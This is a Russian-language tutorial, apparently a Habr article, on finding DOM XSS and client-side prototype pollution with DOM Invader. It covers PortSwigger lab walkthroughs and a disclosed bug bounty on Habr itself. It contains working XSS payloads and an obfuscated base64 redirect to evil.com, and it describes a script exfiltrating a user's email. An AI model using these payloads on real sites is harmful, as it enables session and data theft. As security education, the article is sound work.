Сегодня мы познакомимся с DOM XSS и Prototype Pollution, рассмотрим примеры уязвимостей на Bug Bounty и научимся использовать инструмент DOM Invader, который заметно упростит поиск таких уязвимостей.
XSS
Межсайтовый скриптинг, известный как XSS, часто встречается в мире веб-безопасности. Наряду с IDOR он занимает первые места в рейтинге Bug Bounty по количеству найденных уязвимостей. Атака позволяет внедрить JavaScript-код на страницу приложения, после чего пользователи, посещающие уязвимую страницу, могут потерять различные конфиденциальные данные — например, сеансовые куки или токены авторизации.
Document Object Model (DOM)
Document Object Model (DOM) — это иерархическое представление элементов на странице в веб-браузере. Сайты могут использовать JavaScript для управления узлами и объектами DOM. Манипуляции с DOM сами по себе не являются проблемой — так работают все современные сайты. А вот JavaScript, который небезопасно обрабатывает данные, может позволить провести различные атаки. Уязвимости DOM возникают, когда на сайте содержится JavaScript, который берет значение, контролируемое пользователем (Source), и передает его в опасную функцию (Sink).
Source
Свойство JavaScript, которое принимает данные, потенциально контролируемые пользователем. Пример источника — свойство location.search, поскольку оно считывает ввод из строки запроса, которой относительно просто управлять. В конечном итоге любое свойство, которым может управлять пользователь, является потенциальным Source. К этому относятся URL-адрес источника (document.referrer), Cookie пользователя (document.cookie) и WebMessages (подробнее про WebMessages написано здесь).
Sink
Потенциально опасная функция JavaScript или объект DOM, которые могут вызвать уязвимость, если в них передаются данные, контролируемые пользователем. Например, функция eval() является Sink'ом, поскольку она обрабатывает аргумент, который в него передается, как JavaScript. Примером HTML-Sink является document.body.innerHTML, так как это потенциально позволяет внедрить HTML и выполнить произвольный JavaScript.
Gadget
Небольшие фрагменты кода, которые могут быть использованы для эксплуатации уязвимостей. «Гаджеты» часто применяются в цепочках уязвимостей для достижения более значительного импакта. Еще их используют для обхода защитных мер, повышения привилегий или выполнения произвольного кода.
DOM Invader
DOM Invader — это браузерный инструмент, который поможет в поиске уязвимостей DOM XSS, Prototype Pollution и DOM Clobbering. Суть его функции — в изучении различных Sources и Sinks, включая векторы postMessage. Он доступен через встроенный браузер Burp Suite: это уже предустановленное расширение, его нужно просто включить в настройках.
Что умеет DOM Invader?
2. Откройте вкладку DOM Invader в инструментах разработчика (F12).
3. Откройте сайт, который будете проверять на уязвимости, и внедрите Canary в параметры.
4. На вкладке DOM Invader проверьте, возвращается ли Canary в Sink.
5. При необходимости проверьте Stack Trace. Он отображается в консоли при нажатии на соответствующую кнопку в DOM Invader.
А теперь перейдем к практике и разберемся с работой расширения на примере некоторых лабораторных Академии PortSwigger.
В расширении можно будет увидеть, что Sink найден. Теперь можно пробовать проэксплуатировать уязвимость:
Чтобы изучить эту точку внедрения подробнее, мы можем открыть Stack Trace, после чего получим уведомление о том, что трассировка доступна в консоли:
Теперь переходим в консоль и открываем кусок кода, в котором обнаружен Sink:
Сначала мы создаем переменную query и добавляем в нее значение параметра search:
Если query не null, мы вызываем функцию trackSearch и передаем в нее значение:
Для записи строк на страницу используется функция document.write(). Сначала загружается страница, а затем на нее добавляется наше значение query:
В данном случае Source, или точка внедрения, — это значение location.search, которое мы контролируем, а Sink'ом является document.write.
Теперь переходим в DOM Invader и пробуем использовать кнопку Exploit — быть может, полезная нагрузка, подобранная расширением, сработает?
Эксплойт не сработал, но можно заметить, что мы добавили на страницу "> и застряли в HTML-теге:
Пробуем воспользоваться полезной нагрузкой, которая отобразилась на странице, и добавляем значение, которое отобразилось вне тега с результатом поиска:
Хоть DOM Invader и не подсказал нам точный способ эксплуатации, данный инструмент помогает в поиске Sources, которые впоследствии можно эксплуатировать вручную.
Это довольно простой пример, и такую XSS можно найти вручную. Но когда мы тестируем приложение с огромным количеством форм, ручной анализ займет много времени, а DOM Invader ускорит нашу работу. В таком формате тестирование становится эффективнее. Нам больше не нужно тратить часы на изучение функций, источников и тому подобного, чтобы найти XSS.
Смотрим Stack Trace:
Эта строка вставляет наши входные данные в элемент HTML с идентификатором “searchMessage”. Здесь используется метод .innerHTML, что создает потенциальную уязвимость, так как он вставляет небезопасные данные напрямую в элемент.
Жмем Exploit в DOM Invader и видим, что в результате вывелось оповещение и JavaScript выполнился:
Посмотрев запрос, находим параметр storeId в функции проверки остатков товара:
Передаем параметр storeId в GET-запросе и запускаем DOM Invader, жмем Inject URL params:
Смотрим код, в котором возникает уязвимость.
В этом фрагменте кода сначала присваивается значение переменной store параметра storeId из URL страницы:
Значение 'storeId' не проверяется и попадает на страницу без обратки.
Данная строчка кода отвечает за создание элемента выпадающего списка, и небезопасная функция document.write() создает уязвимость.
Существует условие: если для store задано значение, оно добавляется в список и отмечается как выбранное. Здесь и возникает уязвимость DOM XSS, так как значение store не проходит должной обработки.
Жмем Exploit и видим, что XSS не сработала и наш ввод попал между тегов option:
Чтобы уязвимость сработала, возвращаемся к коду, смотрим на уязвимую функцию и немного изменяем эксплойт, чтобы закрыть тег select. Наша полезная нагрузка попадет в Sink примерно так:
Жмем Exploit в DOM Invader и видим, что в результате вывелось оповещение:
Переходим на главную страницу и открываем расширение. Оно сразу обнаружило уязвимость:
Жмем Scan Gadgets и видим найденный Sink:
Смотрим Stack Trace в консоли браузера и переходим к коду, где возникает уязвимость:
Уязвимая часть кода:
В этом участке кода перед использованием config.transport_url не проверяется его источник. В результате, добавив proto[transport_url]=data:,alert(1) в запрос, можно заставить каждый объект, прошедший через deparam, получать свойство transport_url со значением data:,alert(1). Это значение будет использоваться как источник для нового элемента script, что приведет к выполнению кода alert(1).
Нажимаем Exploit:
В данном случае расширение не находит уязвимый участок кода, поэтому используем сканирование на гаджеты:
Теперь у нас есть источник и точка внедрения, переходим в DOM Invader, смотрим Stack Trace и уязвимый код:
Вы можете самостоятельно разобрать данный код, это будет хорошей практикой. Воспользуемся кнопкой Exploit и видим, что полезная нагрузка для исполнения JavaScript сработала:
Поскольку я публикую текст на Habr.com, я решил протестировать его на уязвимость и доказать вам тезис об универсальности DOM Invader.
Detect
Добавляем # на страницу и нашу канарейку после якоря, смотрим вкладку DOM Invader:
Жмем Exploit:
Impact
Начнем с того, что мы можем реализовать перенаправление пользователя с помощью простой полезной нагрузки.
Где
Хм, а чем это опасно?
Для того чтобы увеличить импакт от уязвимости, я определил критичные пользовательские данные на Habr и заметил, что email авторизованного пользователя лежит в ответе от страницы. Оставалось только захватить данный элемент. Чтобы это сделать, я написал небольшой скрипт, который будет искать на странице элемент email с помощью регулярного выражения и отправлять его нам на сервер.
В результате мне удалось добиться кражи email авторизованного пользователя:
Внимательный читатель может сказать, что размер полезной нагрузки может быть достаточно большим, чтобы передавать его пользователю, на что я напомню про перенаправление, которое может помочь при эксплуатации уязвимости. Таким образом, пользователю нужно будет передать страницу с перенаправлением на уязвимый сайт, который после отправит его обратно на Habr, добавив якорь с полезной нагрузкой
О найденной уязвимости я сообщил команде Habr, они отреагировали в течение одного часа, после чего уязвимость была успешно устранена, а я получил свое Bounty. Отдельное спасибо за быструю реакцию и разрешение упомянуть уязвимость в статье!
Автор @wr3dmast3r
habr.com
XSS
Межсайтовый скриптинг, известный как XSS, часто встречается в мире веб-безопасности. Наряду с IDOR он занимает первые места в рейтинге Bug Bounty по количеству найденных уязвимостей. Атака позволяет внедрить JavaScript-код на страницу приложения, после чего пользователи, посещающие уязвимую страницу, могут потерять различные конфиденциальные данные — например, сеансовые куки или токены авторизации.
Document Object Model (DOM)
Document Object Model (DOM) — это иерархическое представление элементов на странице в веб-браузере. Сайты могут использовать JavaScript для управления узлами и объектами DOM. Манипуляции с DOM сами по себе не являются проблемой — так работают все современные сайты. А вот JavaScript, который небезопасно обрабатывает данные, может позволить провести различные атаки. Уязвимости DOM возникают, когда на сайте содержится JavaScript, который берет значение, контролируемое пользователем (Source), и передает его в опасную функцию (Sink).
Source
Свойство JavaScript, которое принимает данные, потенциально контролируемые пользователем. Пример источника — свойство location.search, поскольку оно считывает ввод из строки запроса, которой относительно просто управлять. В конечном итоге любое свойство, которым может управлять пользователь, является потенциальным Source. К этому относятся URL-адрес источника (document.referrer), Cookie пользователя (document.cookie) и WebMessages (подробнее про WebMessages написано здесь).
Sink
Потенциально опасная функция JavaScript или объект DOM, которые могут вызвать уязвимость, если в них передаются данные, контролируемые пользователем. Например, функция eval() является Sink'ом, поскольку она обрабатывает аргумент, который в него передается, как JavaScript. Примером HTML-Sink является document.body.innerHTML, так как это потенциально позволяет внедрить HTML и выполнить произвольный JavaScript.
Gadget
Небольшие фрагменты кода, которые могут быть использованы для эксплуатации уязвимостей. «Гаджеты» часто применяются в цепочках уязвимостей для достижения более значительного импакта. Еще их используют для обхода защитных мер, повышения привилегий или выполнения произвольного кода.
DOM Invader
DOM Invader — это браузерный инструмент, который поможет в поиске уязвимостей DOM XSS, Prototype Pollution и DOM Clobbering. Суть его функции — в изучении различных Sources и Sinks, включая векторы postMessage. Он доступен через встроенный браузер Burp Suite: это уже предустановленное расширение, его нужно просто включить в настройках.
Что умеет DOM Invader?
- Проверять на DOM XSS. Расширенное представление DOM позволяет мгновенно определить управляемые Sinks на странице, показывая вам точку внедрения и XSS-контекст, и то, как обрабатывается переданный ввод.
- Логировать, изменять и повторно отправлять WebMessage с помощью метода postMessage(). Это позволяет тестировать DOM XSS через WebMessage (подробнее).
- Автоматически определять Sources Prototype Pollution на стороне клиента и сканировать управляемые Gadgets, которые передаются в опасные Sinks.
- Автоматически выявлять уязвимости DOM clobbering (подробнее).
Подготовка
1. Обновите Canary (ключевое слово, используемое для идентификации уязвимости), в нашем случае это XXS.
2. Откройте вкладку DOM Invader в инструментах разработчика (F12).
3. Откройте сайт, который будете проверять на уязвимости, и внедрите Canary в параметры.
4. На вкладке DOM Invader проверьте, возвращается ли Canary в Sink.
5. При необходимости проверьте Stack Trace. Он отображается в консоли при нажатии на соответствующую кнопку в DOM Invader.
А теперь перейдем к практике и разберемся с работой расширения на примере некоторых лабораторных Академии PortSwigger.
Лабораторная 1. DOM XSS in document.write sink using source location.search
Здесь мы можем использовать функцию Inject forms, а затем нажать «Поиск» на странице сайта:
В расширении можно будет увидеть, что Sink найден. Теперь можно пробовать проэксплуатировать уязвимость:
Чтобы изучить эту точку внедрения подробнее, мы можем открыть Stack Trace, после чего получим уведомление о том, что трассировка доступна в консоли:
Теперь переходим в консоль и открываем кусок кода, в котором обнаружен Sink:
Код:
<script>
function trackSearch(query) {document.write('<img src="/resources/images/track
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
Код:
var query = (new URLSearchParams(window.location.search)).get('search');
Код:
if(query) {
trackSearch(query);
}
Код:
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">')
Теперь переходим в DOM Invader и пробуем использовать кнопку Exploit — быть может, полезная нагрузка, подобранная расширением, сработает?
Эксплойт не сработал, но можно заметить, что мы добавили на страницу "> и застряли в HTML-теге:
Пробуем воспользоваться полезной нагрузкой, которая отобразилась на странице, и добавляем значение, которое отобразилось вне тега с результатом поиска:
Код:
“><img src=x onerror=alert(1)>
Хоть DOM Invader и не подсказал нам точный способ эксплуатации, данный инструмент помогает в поиске Sources, которые впоследствии можно эксплуатировать вручную.
Это довольно простой пример, и такую XSS можно найти вручную. Но когда мы тестируем приложение с огромным количеством форм, ручной анализ займет много времени, а DOM Invader ускорит нашу работу. В таком формате тестирование становится эффективнее. Нам больше не нужно тратить часы на изучение функций, источников и тому подобного, чтобы найти XSS.
Лабораторная 2. DOM XSS in innerHTML sink using source location.search
Переходим в DOM Invader, жмем inject forms, после нажимаем поиск на странице:
Смотрим Stack Trace:
Код:
document.getElementById('searchMessage').innerHTML = query;
Жмем Exploit в DOM Invader и видим, что в результате вывелось оповещение и JavaScript выполнился:
Лабораторная 3. DOM XSS in document.write sink using source location.search inside a select element
В данной лабораторной немного меняются точка внедрения и логика приложения, поэтому, чтобы найти точку внедрения, необходимо проверить функцию проверки остатков товара:
Посмотрев запрос, находим параметр storeId в функции проверки остатков товара:
Передаем параметр storeId в GET-запросе и запускаем DOM Invader, жмем Inject URL params:
Смотрим код, в котором возникает уязвимость.
В этом фрагменте кода сначала присваивается значение переменной store параметра storeId из URL страницы:
Код:
var store = (new URLSearchParams(window.location.search)).get('storeId');
Код:
document.write('<select name="storeId">"'></select><img src onerror=alert(1)>');
Код:
if(store)
{
document.write('<option selected>'+store+'</option>');
}
Жмем Exploit и видим, что XSS не сработала и наш ввод попал между тегов option:
Чтобы уязвимость сработала, возвращаемся к коду, смотрим на уязвимую функцию и немного изменяем эксплойт, чтобы закрыть тег select. Наша полезная нагрузка попадет в Sink примерно так:
Код:
document.write('<select name="storeId">'</select><img src onerror=alert(1)>');
Лабораторная 4. DOM XSS via client-side prototype pollution
Теперь мы ищем Prototype Pollution, и нам необходимо включить режим для поиска этой уязвимости в расширении.
Переходим на главную страницу и открываем расширение. Оно сразу обнаружило уязвимость:
Жмем Scan Gadgets и видим найденный Sink:
Смотрим Stack Trace в консоли браузера и переходим к коду, где возникает уязвимость:
Уязвимая часть кода:
Код:
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
Нажимаем Exploit:
Лабораторная 5. Client-side prototype pollution via browser APIs
Переходим в DOM Invader, где можно увидеть, что найдено две точки внедрения:
В данном случае расширение не находит уязвимый участок кода, поэтому используем сканирование на гаджеты:
Теперь у нас есть источник и точка внедрения, переходим в DOM Invader, смотрим Stack Trace и уязвимый код:
Вы можете самостоятельно разобрать данный код, это будет хорошей практикой. Воспользуемся кнопкой Exploit и видим, что полезная нагрузка для исполнения JavaScript сработала:
Bug Bounty. DOM XSS in Habr.com
Можно подумать, что расширение поможет только при поиске простых XSS в лабораторных и не особо применимо на Bug Bounty или в новом проекте, но мой опыт показывает, что DOM Invader способен находить уязвимость где угодно.Поскольку я публикую текст на Habr.com, я решил протестировать его на уязвимость и доказать вам тезис об универсальности DOM Invader.
Detect
Добавляем # на страницу и нашу канарейку после якоря, смотрим вкладку DOM Invader:
Жмем Exploit:
Impact
Начнем с того, что мы можем реализовать перенаправление пользователя с помощью простой полезной нагрузки.
Код:
#'><img src onerror=eval(atob("ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo="))>
ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo=это:
Код:
document.location=https://evil.com
Хм, а чем это опасно?
- Кража email
Для того чтобы увеличить импакт от уязвимости, я определил критичные пользовательские данные на Habr и заметил, что email авторизованного пользователя лежит в ответе от страницы. Оставалось только захватить данный элемент. Чтобы это сделать, я написал небольшой скрипт, который будет искать на странице элемент email с помощью регулярного выражения и отправлять его нам на сервер.
В результате мне удалось добиться кражи email авторизованного пользователя:
- Phishing XSS
Внимательный читатель может сказать, что размер полезной нагрузки может быть достаточно большим, чтобы передавать его пользователю, на что я напомню про перенаправление, которое может помочь при эксплуатации уязвимости. Таким образом, пользователю нужно будет передать страницу с перенаправлением на уязвимый сайт, который после отправит его обратно на Habr, добавив якорь с полезной нагрузкой
Полезные статьи в заключение
Мы познакомились подробнее с природой уязвимостей DOM XSS и Prototype Pollution, узнали, как пользоваться DOM Invader и для чего он нужен. Надеюсь, статья была для вас полезной, и советую дополнительно почитать вот такие материалы:- DOM-based XSS
- Prototype Pollution
- DOM Clobbering
- PostMessage
- WebMessage manipulation
- DOM XSS Web Message
- Controlling the web message source
Автор @wr3dmast3r
habr.com